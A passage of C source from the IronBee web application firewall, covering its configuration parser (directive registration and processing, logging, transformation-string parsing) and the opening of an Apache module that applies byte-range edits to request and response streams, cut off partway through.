requires that inttypes.h only exposes PRI* macros * for C++ implementations if this is defined: */ #define __STDC_FORMAT_MACROS #endif #include <inttypes.h> #include <libgen.h> /* -- Internal -- */ typedef struct cfgp_dir_t cfgp_dir_t; typedef struct cfgp_blk_t cfgp_blk_t; struct cfgp_dir_t { char *name; /**< Directive name */ ib_list_t *params; /**< Directive parameters */ }; struct cfgp_blk_t { char *name; /**< Block name */ ib_list_t *params; /**< Block parameters */ ib_list_t *dirs; /**< Block directives */ }; ib_status_t ib_cfgparser_node_create(ib_cfgparser_node_t **node, ib_cfgparser_t *cfgparser) { assert(node != NULL); assert(cfgparser != NULL); assert(cfgparser->mp != NULL); ib_mm_t mm = cfgparser->mm; ib_status_t rc; ib_cfgparser_node_t *new_node = ib_mm_calloc(mm, sizeof(*new_node), 1); if (new_node == NULL) { return IB_EALLOC; } rc = ib_list_create(&(new_node->params), mm); if (rc != IB_OK) { return rc; } rc = ib_list_create(&(new_node->children), mm); if (rc != IB_OK) { return rc; } *node = new_node; return IB_OK; } ib_status_t ib_cfgparser_create(ib_cfgparser_t **pcp, ib_engine_t *ib) { assert(pcp != NULL); assert(ib != NULL); ib_mpool_t *mp; ib_mm_t mm; ib_status_t rc; ib_cfgparser_t *cp; *pcp = NULL; /* Create parser memory pool */ rc = ib_mpool_create(&mp, "cfgparser", ib->mp); if (rc != IB_OK) { return IB_EALLOC; } mm = ib_mm_mpool(mp); /* Create the configuration parser object from the memory pool */ cp = (ib_cfgparser_t *)ib_mm_calloc(mm, sizeof(*cp), 1); if (cp == NULL) { rc = IB_EALLOC; goto failed; } /* Store pointers to the engine and the memory pool */ cp->ib = ib; cp->mp = mp; cp->mm = mm; /* Create the stack */ rc = ib_list_create(&(cp->stack), cp->mm); if (rc != IB_OK) { goto failed; } /* Create the parse tree root. */ rc = ib_cfgparser_node_create(&(cp->root), cp); if (rc != IB_OK) { goto failed; } cp->root->type = IB_CFGPARSER_NODE_ROOT; cp->root->file = "[root]"; cp->root->line = 1; cp->root->directive = "[root]"; cp->curr = cp->root; /* Build a buffer for aggregating tokens into. */ rc = ib_vector_create( &(cp->buffer), cp->mm, IB_VECTOR_NEVER_SHRINK ); if (rc != IB_OK) { goto failed; } /* Initialize the Ragel state machine state. */ rc = ib_cfgparser_ragel_init(cp); if (rc != IB_OK) { goto failed; } /* Other fields are NULLed via calloc */ *pcp = cp; return IB_OK; failed: /* Make sure everything is cleaned up on failure */ ib_mpool_destroy(mp); return rc; } void ib_cfgparser_pop_node(ib_cfgparser_t *cp) { assert(cp != NULL); assert(cp->curr != NULL); if (cp->curr->parent != NULL) { cp->curr = cp->curr->parent; } } ib_status_t ib_cfgparser_push_node(ib_cfgparser_t *cp, ib_cfgparser_node_t *node) { assert(cp != NULL); assert(cp->curr != NULL); assert(cp->curr->children != NULL); assert(node != NULL); ib_status_t rc; /* Set down-link. */ rc = ib_list_push(cp->curr->children, node); if (rc != IB_OK) { return rc; } /* Set up-link. */ node->parent = cp->curr; /* This node is now the current node. */ cp->curr = node; return rc; } /// @todo Create a ib_cfgparser_parse_ex that can parse non-files (DBs, etc) ib_status_t ib_cfgparser_parse_private( ib_cfgparser_t *cp, const char *file, bool eof_mask ) { assert(cp != NULL); assert(cp->ib != NULL); int ec = 0; /* Error code for sys calls. */ int fd = 0; /* File to read. */ const size_t bufsz = 8192; /* Buffer size. */ size_t buflen = 0; /* Last char in buffer. */ char *buf = NULL; /* Buffer. */ char *pathbuf; const char *save_cwd; /* CWD, used to restore during cleanup */ ib_cfgparser_node_t *node; /* Parser node for this file. */ ib_cfgparser_node_t *save_node = NULL; /* Previous current node. */ ib_status_t rc = IB_OK; unsigned error_count = 0; ib_status_t error_rc = IB_OK; /* Local memory pool. This is released at the end of this function. */ ib_mpool_lite_t *local_mp; ib_mm_t local_mm; /* Store the current file and path in the save_ stack variables */ save_cwd = cp->cur_cwd; /* Create a memory pool for allocations local to this function. * This is destroyed at the end of this function. */ rc = ib_mpool_lite_create(&local_mp); if (rc != IB_OK) { return rc; } local_mm = ib_mm_mpool_lite(local_mp); /* Open the file to read. */ fd = open(file, O_RDONLY); if (fd == -1) { ec = errno; ib_cfg_log_error(cp, "Error opening config file \"%s\": (%d) %s", file, ec, strerror(ec)); rc = IB_EINVAL; goto cleanup_fd; } /* Build a buffer to read the file into. */ buf = (char *)ib_mm_alloc(local_mm, sizeof(*buf)*bufsz); if (buf == NULL) { rc = IB_EALLOC; goto cleanup_buf; } /* Build a parse node to represent the parsing work we are doing. */ node = NULL; rc = ib_cfgparser_node_create(&node, cp); if (rc != IB_OK) { goto cleanup_create_node; } node->file = ib_mm_strdup(cp->mm, file); node->line = 1; node->type = IB_CFGPARSER_NODE_FILE; node->directive = "[file]"; rc = ib_cfgparser_push_node(cp, node); if (rc != IB_OK) { goto cleanup_push_node; } save_node = cp->curr; /* Store the new file and path in the parser object */ pathbuf = (char *)ib_mm_strdup(cp->mm, file); if (pathbuf == NULL) { rc = IB_EALLOC; goto cleanup; } cp->cur_cwd = dirname(pathbuf); /* Fill the buffer, parse each line. Conditionally read another line. */ do { buflen = read(fd, buf, bufsz); if ( buflen == 0 ) { /* EOF */ rc = ib_cfgparser_ragel_parse_chunk( cp, buf, buflen, true && eof_mask); if (rc != IB_OK) { ++error_count; error_rc = rc; } break; } else if ( buflen > 0 ) { rc = ib_cfgparser_ragel_parse_chunk(cp, buf, buflen, false); if (rc != IB_OK) { ++error_count; error_rc = rc; } } else { /* buflen < 0. This is an error. */ ib_cfg_log_error( cp, "Error reading config file \"%s\": %s", file, strerror(errno)); rc = IB_ETRUNC; goto cleanup; } } while (buflen > 0); cleanup: ib_cfgparser_pop_node(cp); cp->curr = save_node; cleanup_create_node: cleanup_push_node: cleanup_buf: close(fd); cleanup_fd: ib_mpool_lite_destroy(local_mp); cp->cur_cwd = save_cwd; if ( (error_count == 0) && (rc == IB_OK) ) { return IB_OK; } else if (rc == IB_OK) { rc = error_rc; } ib_cfg_log_error( cp, "%u Error(s) parsing config file: %s", error_count, ib_status_to_string(rc)); return rc; } ib_status_t ib_cfgparser_parse(ib_cfgparser_t *cp, const char *file) { ib_status_t rc; rc = ib_cfgparser_parse_private(cp, file, true); /* Reset the parser. */ cp->curr = cp->root; return rc; } ib_status_t ib_cfgparser_parse_buffer( ib_cfgparser_t *cp, const char *buffer, size_t length, bool more ) { assert(cp != NULL); assert(buffer != NULL); ib_status_t rc; if (length == 0) { return IB_OK; } rc = ib_cfgparser_ragel_parse_chunk(cp, buffer, length, (more ? 0 : 1) ); if (!more) { /* Reset the parser. */ cp->curr = cp->root; } return rc; } /* Forward declare because it is mutually recursive with * cfgparser_apply_node_children_helper. */ static ib_status_t cfgparser_apply_node_helper( ib_cfgparser_t *cp, ib_engine_t *ib, ib_cfgparser_node_t *node); static ib_status_t cfgparser_apply_node_children_helper( ib_cfgparser_t *cp, ib_engine_t *ib, ib_cfgparser_node_t *node) { ib_list_node_t *list_node; ib_status_t rc = IB_OK; IB_LIST_LOOP(node->children, list_node) { ib_cfgparser_node_t *child = ib_list_node_data(list_node); ib_status_t tmp_rc; tmp_rc = cfgparser_apply_node_helper(cp, ib, child); if (rc == IB_OK && tmp_rc != IB_OK) { rc = tmp_rc; } } return rc; } /** * Helper function to recursively apply the configuration nodes. * * This sets the @c curr member of @a cp to @a node. * * @returns * - IB_OK on success. * - Other on error. Failure is not fatal. If a recursive * call fails, the first failure code is returned to the caller. */ static ib_status_t cfgparser_apply_node_helper( ib_cfgparser_t *cp, ib_engine_t *ib, ib_cfgparser_node_t *node) { assert(cp != NULL); assert(ib != NULL); assert(node != NULL); ib_status_t rc = IB_OK; ib_status_t tmp_rc; ib_cfgparser_node_t *prev_curr; switch(node->type) { case IB_CFGPARSER_NODE_ROOT: tmp_rc = cfgparser_apply_node_children_helper(cp, ib, node); if (rc == IB_OK) { rc = tmp_rc; } break; case IB_CFGPARSER_NODE_PARSE_DIRECTIVE: tmp_rc = cfgparser_apply_node_children_helper(cp, ib, node); if (rc == IB_OK) { rc = tmp_rc; } break; case IB_CFGPARSER_NODE_DIRECTIVE: assert( (ib_list_elements(node->children) == 0) && "Directives may not have children."); /* Store previous current node. */ prev_curr = cp->curr; /* Set the current node before callbacks. */ cp->curr = node; /* Callback to user directives. */ tmp_rc = ib_config_directive_process( cp, node->directive, node->params); if (tmp_rc != IB_OK && rc == IB_OK) { rc = tmp_rc; } /* Restore current node. */ cp->curr = prev_curr; break; case IB_CFGPARSER_NODE_BLOCK: /* Set the current node before callbacks. */ cp->curr = node; /* Callback to user directives. */ tmp_rc = ib_config_block_start(cp, node->directive, node->params); if (tmp_rc != IB_OK) { ib_cfg_log_error(cp, "Error starting block \"%s\": %s", node->directive, ib_status_to_string(tmp_rc)); if (rc == IB_OK) { rc = tmp_rc; } } tmp_rc = cfgparser_apply_node_children_helper(cp, ib, node); if (rc == IB_OK) { rc = tmp_rc; } /* Set the current node before callbacks. */ cp->curr = node; /* Callback to user directives. */ tmp_rc = ib_config_block_process(cp, node->directive); if (tmp_rc != IB_OK) { ib_cfg_log_error(cp, "Error processing block \"%s\": %s", node->directive, ib_status_to_string(tmp_rc)); if (rc == IB_OK) { rc = tmp_rc; } } break; case IB_CFGPARSER_NODE_FILE: ib_log_debug3(ib, "Applying file block \"%s\"", node->file); for (ib_cfgparser_node_t *tmp_node = node->parent; tmp_node != NULL; tmp_node = tmp_node->parent) { if (tmp_node->type == IB_CFGPARSER_NODE_ROOT) { ib_log_debug3( ib, " included from [root]:%zd", tmp_node->line); } if (tmp_node->type == IB_CFGPARSER_NODE_FILE) { ib_log_debug3( ib, " included from %s:%zd", tmp_node->file, tmp_node->line); } } tmp_rc = cfgparser_apply_node_children_helper(cp, ib, node); if (rc == IB_OK) { rc = tmp_rc; } break; } return rc; } ib_status_t ib_cfgparser_apply(ib_cfgparser_t *cp, ib_engine_t *ib) { assert(cp != NULL); assert(ib != NULL); assert(cp->curr != NULL); assert(cp->root != NULL); ib_status_t rc; rc = ib_cfgparser_apply_node(cp, cp->root, ib); return rc; } ib_status_t ib_cfgparser_apply_node( ib_cfgparser_t *cp, ib_cfgparser_node_t *tree, ib_engine_t *ib) { assert(cp != NULL); assert(ib != NULL); assert(cp->curr != NULL); assert(cp->root != NULL); return cfgparser_apply_node_helper(cp, ib, tree); } static void cfgp_set_current(ib_cfgparser_t *cp, ib_context_t *ctx) { cp->cur_ctx = ctx; return; } ib_status_t ib_cfgparser_context_push(ib_cfgparser_t *cp, ib_context_t *ctx) { assert(cp != NULL); assert(ctx != NULL); ib_status_t rc; rc = ib_list_push(cp->stack, ctx); if (rc != IB_OK) { return rc; } cfgp_set_current(cp, ctx); return IB_OK; } ib_status_t ib_cfgparser_context_pop(ib_cfgparser_t *cp, ib_context_t **pctx, ib_context_t **pcctx) { assert(cp != NULL); ib_context_t *ctx; ib_status_t rc; if (pctx != NULL) { *pctx = NULL; } /* Remove the last item. */ rc = ib_list_pop(cp->stack, &ctx); if (rc != IB_OK) { return rc; } if (pctx != NULL) { *pctx = ctx; } /* The last in the list is now the current. */ ctx = (ib_context_t *)ib_list_node_data(ib_list_last(cp->stack)); cfgp_set_current(cp, ctx); if (pcctx != NULL) { *pcctx = ctx; } return IB_OK; } ib_status_t ib_cfgparser_context_current(const ib_cfgparser_t *cp, ib_context_t **pctx) { assert(cp != NULL); assert(pctx != NULL); *pctx = cp->cur_ctx; return IB_OK; } const char *ib_cfgparser_curr_file(const ib_cfgparser_t *cp) { assert(cp != NULL); assert(cp->curr != NULL); assert(cp->curr->file != NULL); return cp->curr->file; } size_t ib_cfgparser_curr_line(const ib_cfgparser_t *cp) { assert(cp != NULL); assert(cp->curr != NULL); return cp->curr->line; } ib_status_t ib_cfgparser_destroy(ib_cfgparser_t *cp) { assert(cp != NULL); ib_engine_pool_destroy(cp->ib, cp->mp); return IB_OK; } ib_status_t ib_config_register_directives(ib_engine_t *ib, const ib_dirmap_init_t *init) { assert(ib != NULL); assert(init != NULL); const ib_dirmap_init_t *rec = init; ib_status_t rc; while ((rec != NULL) && (rec->name != NULL)) { rc = ib_hash_get(ib->dirmap, NULL, rec->name); if (rc == IB_OK) { ib_log_error(ib, "Redefining directive %s.", rec->name); return IB_EOTHER; } else if (rc != IB_ENOENT) { ib_log_error( ib, "Error checking for redefinition of directive %s: %s", rec->name, ib_status_to_string(rc)); return rc; } rc = ib_hash_set(ib->dirmap, rec->name, (void *)rec); if (rc != IB_OK) { return rc; } ++rec; } return IB_OK; } ib_status_t ib_config_register_directive( ib_engine_t *ib, const char *name, ib_dirtype_t type, ib_void_fn_t fn_config, ib_config_cb_blkend_fn_t fn_blkend, void *cbdata_config, void *cbdata_blkend, ib_strval_t *valmap ) { ib_dirmap_init_t *rec; ib_status_t rc; rec = (ib_dirmap_init_t *)ib_mm_alloc( ib_engine_mm_config_get(ib), sizeof(*rec) ); if (rec == NULL) { return IB_EALLOC; } rec->name = name; rec->type = type; rec->cb._init = fn_config; rec->fn_blkend = fn_blkend; rec->cbdata_cb = cbdata_config; rec->cbdata_blkend = cbdata_blkend; rec->valmap = valmap; rc = ib_hash_get(ib->dirmap, NULL, rec->name); if (rc == IB_OK) { ib_log_error(ib, "Redefining directive %s.", rec->name); return IB_EOTHER; } else if (rc != IB_ENOENT) { return rc; } rc = ib_hash_set(ib->dirmap, rec->name, (void *)rec); return rc; } ib_status_t ib_config_registered_directives( ib_engine_t *ib, ib_list_t *list ) { assert(ib != NULL); assert(list != NULL); return ib_hash_get_all(ib->dirmap, list); } ib_status_t ib_config_registered_transformations( ib_engine_t *ib, ib_list_t *list ) { assert(ib != NULL); assert(list != NULL); return ib_hash_get_all(ib->tfns, list); } ib_status_t ib_config_registered_operators( ib_engine_t *ib, ib_list_t *list ) { assert(ib != NULL); assert(list != NULL); return ib_hash_get_all(ib->operators, list); } ib_status_t ib_config_registered_stream_operators( ib_engine_t *ib, ib_list_t *list ) { assert(ib != NULL); assert(list != NULL); return ib_hash_get_all(ib->stream_operators, list); } ib_status_t ib_config_registered_actions( ib_engine_t *ib, ib_list_t *list ) { assert(ib != NULL); assert(list != NULL); return ib_hash_get_all(ib->actions, list); } /** * Log a debug message followed by the directive and its parameters. * * Note that quoting, spacing and &lt;, &gt; decoration is removed. * * @param[in] cp Configuration parser. * @param[in] name Name of the directive. * @param[in] args The list of arguments. * @param[in] msg The message that prefixes the printed directive. */ static ib_status_t print_directive(ib_cfgparser_t *cp, const char *name, ib_list_t *args, const char *msg) { /* clang analyzer has a false positive due to a poor understanding of * the value of params_len. */ #ifndef __clang_analyzer__ assert(cp != NULL); assert(cp->ib != NULL); assert(name != NULL); assert(args != NULL); int params_len = 1; /* At least a \0 char. */ char *params; const ib_list_node_t *node; IB_LIST_LOOP_CONST(args, node) { /* "; p=" + val */ params_len += 4 + strlen((const char *)ib_list_node_data_const(node)); } params = malloc(params_len); if (params == NULL) { return IB_EALLOC; } params[0] = '\0'; IB_LIST_LOOP_CONST(args, node) { strcat(params, "; p="); strcat(params, (const char *)ib_list_node_data_const(node)); } ib_cfg_log_debug(cp, "%sname=%s%s", msg, name, params); free(params); #endif return IB_OK; } ib_status_t ib_config_directive_process(ib_cfgparser_t *cp, const char *name, ib_list_t *args) { assert(cp != NULL); assert(cp->ib != NULL); assert(name != NULL); assert(args != NULL); ib_engine_t *ib = cp->ib; ib_dirmap_init_t *rec; size_t nargs = ib_list_elements(args); const char *p1; const char *p2; ib_status_t rc; if (ib_logger_level_get(ib_engine_logger_get(ib)) >= IB_LOG_DEBUG) { rc = print_directive(cp, name, args, "Processing directive: "); if (rc != IB_OK) { return rc; } } rc = ib_hash_get(ib->dirmap, &rec, name); if (rc == IB_ENOENT) { ib_cfg_log_error(cp, "Directive \"%s\" not defined.", name); return rc; } if (rc != IB_OK) { ib_cfg_log_error( cp, "Error fetching directive definition for \"%s\": %s", name, ib_status_to_string(rc)); return rc; } switch (rec->type) { case IB_DIRTYPE_ONOFF: if (nargs != 1) { ib_cfg_log_error(cp, "Directive \"%s\" " "takes one parameter, not %zd", name, nargs); rc = IB_EINVAL; break; } p1 = (const char *)ib_list_node_data_const( ib_list_first_const(args)); if ( (strcasecmp("on", p1) == 0) || (strcasecmp("yes", p1) == 0) || (strcasecmp("true", p1) == 0)) { rc = rec->cb.fn_onoff(cp, name, 1, rec->cbdata_cb); } else { rc = rec->cb.fn_onoff(cp, name, 0, rec->cbdata_cb); } break; case IB_DIRTYPE_PARAM1: if (nargs != 1) { ib_cfg_log_error(cp, "Directive \"%s\" " "takes one parameter, not %zd", name, nargs); rc = IB_EINVAL; break; } p1 = (const char *)ib_list_node_data_const( ib_list_first_const(args)); rc = rec->cb.fn_param1(cp, name, p1, rec->cbdata_cb); break; case IB_DIRTYPE_PARAM2: if (nargs != 2) { ib_cfg_log_error(cp, "Directive \"%s\" " "takes two parameters, not %zd", name, nargs); rc = IB_EINVAL; break; } p1 = (const char *)ib_list_node_data_const( ib_list_first_const(args)); p2 = (const char *)ib_list_node_data_const( ib_list_last_const(args)); rc = rec->cb.fn_param2(cp, name, p1, p2, rec->cbdata_cb); break; case IB_DIRTYPE_LIST: rc = rec->cb.fn_list(cp, name, args, rec->cbdata_cb); break; case IB_DIRTYPE_OPFLAGS: { ib_flags_t flags = 0; ib_flags_t mask = 0; const char *error; rc = ib_flags_strlist(rec->valmap, args, &flags, &mask, &error); if (rc != IB_OK) { ib_cfg_log_error(cp, "Invalid %s option: \"%s\"", name, error); } rc = rec->cb.fn_opflags(cp, name, flags, mask, rec->cbdata_cb); break; } case IB_DIRTYPE_SBLK1: if (nargs != 1) { ib_cfg_log_error(cp, "Block Directive \"%s\" " "takes one parameter, not %zd", name, nargs); rc = IB_EINVAL; break; } p1 = (const char *)ib_list_node_data_const( ib_list_first_const(args)); rc = rec->cb.fn_sblk1(cp, name, p1, rec->cbdata_cb); break; } if (rc != IB_OK) { ib_cfg_log_error( cp, "Error processing directive \"%s\": %s", name, ib_status_to_string(rc)); } return rc; } ib_status_t ib_config_block_start(ib_cfgparser_t *cp, const char *name, ib_list_t *args) { assert(cp != NULL); assert(name != NULL); return ib_config_directive_process(cp, name, args); } ib_status_t ib_config_block_process(ib_cfgparser_t *cp, const char *name) { assert(cp != NULL); assert(name != NULL); ib_engine_t *ib = cp->ib; ib_dirmap_init_t *rec; ib_status_t rc; rc = ib_hash_get(ib->dirmap, &rec, name); if (rc != IB_OK) { return rc; } rc = IB_OK; switch (rec->type) { case IB_DIRTYPE_SBLK1: if (rec->fn_blkend != NULL) { rc = rec->fn_blkend(cp, name, rec->cbdata_blkend); } break; default: rc = IB_EINVAL; } return rc; } ib_status_t ib_config_strval_pair_lookup(const char *str, const ib_strval_t *map, ib_num_t *pval) { assert(str != NULL); assert(map != NULL); assert(pval != NULL); ib_status_t rc; uint64_t value; rc = ib_strval_lookup(map, str, &value); *pval = value; return rc; } void ib_cfg_log_f(ib_cfgparser_t *cp, ib_logger_level_t level, const char *file, int line, const char *fmt, ...) { assert(cp != NULL); assert(fmt != NULL); va_list ap; va_start(ap, fmt); ib_cfg_vlog(cp, level, file, line, fmt, ap); va_end(ap); return; } void ib_cfg_log_ex_f(const ib_engine_t *ib, const char *cfgfile, unsigned int cfgline, ib_logger_level_t level, const char *file, int line, const char *fmt, ...) { assert(ib != NULL); assert(fmt != NULL); va_list ap; va_start(ap, fmt); ib_cfg_vlog_ex(ib, cfgfile, cfgline, level, file, line, fmt, ap); va_end(ap); return; } void ib_cfg_vlog_ex(const ib_engine_t *ib, const char *cfgfile, unsigned int cfgline, ib_logger_level_t level, const char *file, int line, const char *fmt, va_list ap) { assert(ib != NULL); assert(fmt != NULL); static const size_t MAX_LNOBUF = 16; char lnobuf[MAX_LNOBUF+1]; const char *which_fmt = NULL; static const char *c_prefix = "CONFIG"; const size_t new_fmt_len = strlen(c_prefix) + strlen(fmt) + (cfgfile != NULL ? strlen(cfgfile) : 0) + 30; char *new_fmt = (char *)malloc(new_fmt_len); if (new_fmt != NULL) { snprintf(new_fmt, new_fmt_len, "%s %s", c_prefix, fmt); if (cfgfile != NULL) { strcat(new_fmt, " @ "); strcat(new_fmt, cfgfile); strcat(new_fmt, ":"); snprintf(lnobuf, MAX_LNOBUF, "%u", cfgline); strcat(new_fmt, lnobuf); } which_fmt = new_fmt; } else { which_fmt = fmt; } ib_log_vex_ex(ib, level, file, __func__, line, which_fmt, ap); if (new_fmt != NULL) { free(new_fmt); } return; } void ib_cfg_vlog(ib_cfgparser_t *cp, ib_logger_level_t level, const char *file, int line, const char *fmt, va_list ap) { assert(cp != NULL); assert(fmt != NULL); ib_cfg_vlog_ex(cp->ib, cp->curr->file, cp->curr->line, level, file, line, fmt, ap); return; } static ib_status_t cfg_parse_tfn( char *str, char **name, char **name_end, char **arg, char **arg_end ) NONNULL_ATTRIBUTE(1,2,3,4,5); /** * Attempt to parse @a str into a transformation. * * A transformation string is of the format `name(arg)`. * * @param[in] str The string to parse. * @param[out] name The pointer in @a str that starts the transformation name. * @param[out] name_end The pointer in @a str just past the end of the name. * @param[out] arg The pointer @a str that starts the transformation argument. * @param[out] arg_end The pointer in @a str just past the end of the arg. * * @returns * - IB_OK On success. * - IB_EINVAL On failure to parse a transformation. The out variables are * left in an undefined state. */ static ib_status_t cfg_parse_tfn( char *str, char **name, char **name_end, char **arg, char **arg_end ) { assert(str != NULL); assert(name != NULL); assert(name_end != NULL); assert(arg != NULL); assert(arg_end != NULL); size_t s; *name = str; /* Find the transformation name. * Note that '.' is in the reject set to force failure if an invalid * transformation name is observed. */ s = strcspn(str, "(."); if (s == 0 || str[s] != '(') { return IB_EINVAL; } else { *name_end = *name + s; } *arg = *name_end + 1; /* Find the transformation argument. */ s = strcspn(*arg, ")"); if ((*arg)[s] != ')') { return IB_EINVAL; } else { *arg_end = *arg + s; } return IB_OK; } /** * Return the character just past the var target string, @a str. * * The characters before this are part of the target. * The characters after this, if any, make up the transformations to * that target. * * @param[in] str The string to parse. * * @returns The character past end of the target portion of @a str. */ static const char * cfg_find_end_of_target(char *str) { char *cur = str; ib_status_t rc; char *name; char *name_end; char *arg; char *arg_end; /* Parse out the source component. */ for (; ; ++cur) { /* On ':' we have the source part of the target. * Jump to the next parsing. */ if (*cur == ':') { break; } if (*cur == '\0') { return cur; } /* Special check for '.'. * If '.' means that there is a transformation, we are done. */ if (*cur == '.') { /* Try to parse a transformation. */ rc = cfg_parse_tfn(cur+1, &name, &name_end, &arg, &arg_end); /* If we find a '.' that signals a transformation, * the target is done. Return. */ if (rc == IB_OK) { return cur; } } } /* Hop over ':'. */ ++cur; /* Scan over to the ending '/'. */ if (*cur == '/') { for (cur = cur + 1; *cur != '/'; ++cur) { /* Skip over escaped strings in regexes. */ if (*cur == '\\' && *(cur + 1) != '\0') { ++cur; } } /* Hop over ending '/'. */ if (*cur == '/') { ++cur; } /* At the close of the filter, we are done. */ return cur; } for (; ; ++cur) { if (*cur == '\0') { return cur; } if (*cur == '.') { rc = cfg_parse_tfn(cur+1, &name, &name_end, &arg, &arg_end); /* If we find a '.' that signals a transformation, * the target is done. Return. */ if (rc == IB_OK) { return cur; } } } } ib_status_t ib_cfg_parse_target_string( ib_mm_t mm, const char *str, const char **target, ib_list_t *tfns ) { assert(str != NULL); assert(target != NULL); assert(tfns != NULL); ib_status_t rc; char *dup_str; /* Duplicate string */ const char *end_of_target; /* Won't be modifying str. */ end_of_target = cfg_find_end_of_target((char *)str); if (end_of_target == NULL) { /* Error finding the end of the target. */ return IB_EINVAL; } /* If the end of the target is the end of the string, we are done. */ else if (*end_of_target == '\0') { *target = str; return IB_OK; } /* If the end_of_target is not also the end of the string, then we * must modify str to parse out transformations. Make a copy of str * into dup_str and parse. */ dup_str = ib_mm_strdup(mm, str); if (dup_str == NULL) { return IB_EALLOC; } /* Compute the offset and set to '\0'. */ dup_str[end_of_target - str] = '\0'; /* Set target to the newly-terminated target string. */ *target = dup_str; /* Walk through the string and parse-out transformations. */ for (char *cur = dup_str + (end_of_target - str)+1; cur[0] != '\0'; ) { char *name; char *name_end; char *arg; char *arg_end; ib_field_t *tfn_field; /* Transformation to push. */ rc = cfg_parse_tfn(cur, &name, &name_end, &arg, &arg_end); if (rc != IB_OK) { return rc; } *name_end = '\0'; *arg_end = '\0'; rc = ib_field_create_no_copy( &tfn_field, mm, name, (name_end - name), IB_FTYPE_NULSTR, ib_ftype_nulstr_mutable_in(arg)); if (rc != IB_OK) { /* Failed to create transformation field. */ return rc; } rc = ib_list_push(tfns, tfn_field); if (rc != IB_OK) { /* Failed to push transformation. */ return rc; } /* Skip over trailing ')'. */ cur = arg_end + 1; /* If ')' is not last character then skip over the trailing '.'. */ if (*cur != '\0') { ++cur; } } /** * The field name is the start of the duplicate string, even after * it's been chopped up into pieces. */ *target = dup_str; return IB_OK; }
crustymonkey/ironbee
servers/apache_httpd2/mod_range_filter.c
/***************************************************************************** * Licensed to Qualys, Inc. (QUALYS) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * QUALYS licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. ****************************************************************************/ /** * @file * @brief Apache 2.x Module to replace byte ranges in input or output stream * * @author <NAME> <<EMAIL>> */ #include <httpd.h> #include <http_protocol.h> #include <http_request.h> #include <http_connection.h> #include <http_config.h> #include <http_log.h> #include <util_filter.h> #include <assert.h> #include "mod_range_filter.h" #ifdef __clang__ #pragma clang diagnostic push #pragma clang diagnostic ignored "-Wdocumentation-deprecated-sync" #endif #include <apr_strings.h> #ifdef __clang__ #pragma clang diagnostic pop #endif /* Hack to detect 2.2 vs 2.4 server versions. * This is a 2.3.x version shortly after the module declaration syntax changed * and might leave some 2.3.x in limbo, but should hopefully do the job * of reliably distinguishing 2.2 vs 2.4. */ #define NEWVERSION AP_MODULE_MAGIC_AT_LEAST(20100919,1) module AP_MODULE_DECLARE_DATA range_filter_module; /* per-dir configuration. Turn filtering on or off */ typedef struct range_filter_conf { int filter_input; int filter_output; } range_filter_conf; /* per-filter ctx is identical for input and output filters. */ typedef struct filter_ctx { apr_off_t count; /* bytes already consumed&forgotten */ apr_array_header_t *edits; /* edits we're asked to perform */ apr_bucket_brigade *bb; /* data buffer */ apr_bucket_brigade *newb; /* data buffer */ } filter_ctx; /* List of edits to perform. Populated by exported API functions; * processed by our filter functions. */ typedef struct req_edits { apr_array_header_t *edits_in; apr_array_header_t *edits_out; } req_edits; /* Definition of an individual edit */ typedef struct range_edit { apr_off_t start; /* start of edit, measured in bytes from * start of unedited data stream */ apr_size_t bytes; /* Number of bytes to delete in this edit */ const char *subs; /* data to insert in this edit */ apr_size_t len; /* length of data to insert */ } range_edit; /** * Comparison function for qsort to order edits * Sort in reverse so apr_array_pop discards "first" elt for us * * @param[in] a - first edit * @param[in] b - second edit * @return difference in edits respective positions in stream */ static int qcompare(const void *a, const void *b) { return ((range_edit*)b)->start - ((range_edit*)a)->start; } /** * HTTPD filter function to apply edits to response data * * @param[in] f - the filter struct * @param[in] bb - the bucket brigade (data) * @return status propagated from next filter in chain */ static apr_status_t range_filter_out(ap_filter_t *f, apr_bucket_brigade *bb) { apr_status_t rv = APR_SUCCESS; apr_off_t bytes = 0; apr_bucket *b; apr_bucket_brigade *tmpb; int seen_eos = 0; size_t offs; filter_ctx *ctx = f->ctx; if (!ctx) { f->ctx = ctx = apr_pcalloc(f->r->pool, sizeof(filter_ctx)); ctx->bb = apr_brigade_create(f->r->pool, f->r->connection->bucket_alloc); apr_table_unset(f->r->headers_out, "Content-Length"); } offs = ctx->count; /* append to any data left over from last time */ APR_BRIGADE_CONCAT(ctx->bb, bb); /* We need to count bytes even if there are no edits. * There may be edits in future! * FIXME: this is inefficient if it causes any buckets to mutate. * Can't happen with content-aware filters like Ironbee! */ rv = apr_brigade_length(ctx->bb, 1, &bytes); ap_assert(rv == APR_SUCCESS); if (!ctx->edits) { req_edits *redits = ap_get_module_config(f->r->request_config, &range_filter_module); if (redits) { ctx->edits = redits->edits_out; } } if (!ctx->edits || apr_is_empty_array(ctx->edits)) { /* Nothing to do but record how much data we passed */ ctx->count += bytes; rv = ap_pass_brigade(f->next, ctx->bb); (void)apr_brigade_cleanup(ctx->bb); return rv; } /* OK, go through edits, and apply any that are in range. */ /* Sort first so we can deal with offsets that move with each edit */ qsort(ctx->edits->elts, ctx->edits->nelts, ctx->edits->elt_size, qcompare); /* Now we can apply in-range edits in order */ while (!apr_is_empty_array(ctx->edits)) { range_edit *edits = (range_edit*) ctx->edits->elts; range_edit edit = edits[ctx->edits->nelts-1]; /* If edit is out of range, leave it for next time. * We can pass on everything before this but we have to save * what we're due to edit. */ if ((size_t)(edit.start + edit.bytes) > (size_t)(offs + bytes)) { /* all done with the data for now */ break; } /* Edit is in-range. So apply it and remove from list */ /* split the brigade at the start of the edit * We can re-use the now-emptied bb for tmp data */ rv = apr_brigade_partition(ctx->bb, edit.start - offs, &b); ap_assert(rv == APR_SUCCESS); tmpb = apr_brigade_split_ex(ctx->bb, b, bb); /* and remove what's to be cut (if any) .... */ if (edit.bytes > 0) { rv = apr_brigade_partition(tmpb, edit.bytes, &b); ap_assert(rv == APR_SUCCESS); ctx->newb = apr_brigade_split_ex(tmpb, b, ctx->newb); (void)apr_brigade_cleanup(tmpb); } else { /* newb should be tmpb */ ctx->newb = tmpb; } /* Now we can insert the new data (if any) */ /* TODO: consider API. Pool bucket here matches pool alloc in 